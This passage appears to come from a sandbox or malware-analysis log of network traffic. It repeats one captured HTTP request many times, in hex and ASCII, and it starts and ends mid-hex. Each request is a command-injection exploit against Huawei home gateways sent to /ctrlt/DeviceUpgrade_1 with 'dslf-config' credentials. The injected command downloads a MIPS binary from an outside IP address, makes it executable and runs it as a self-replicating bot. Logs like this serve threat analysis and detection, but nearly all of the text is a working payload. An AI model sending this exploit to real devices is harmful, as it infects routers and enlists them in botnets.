33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 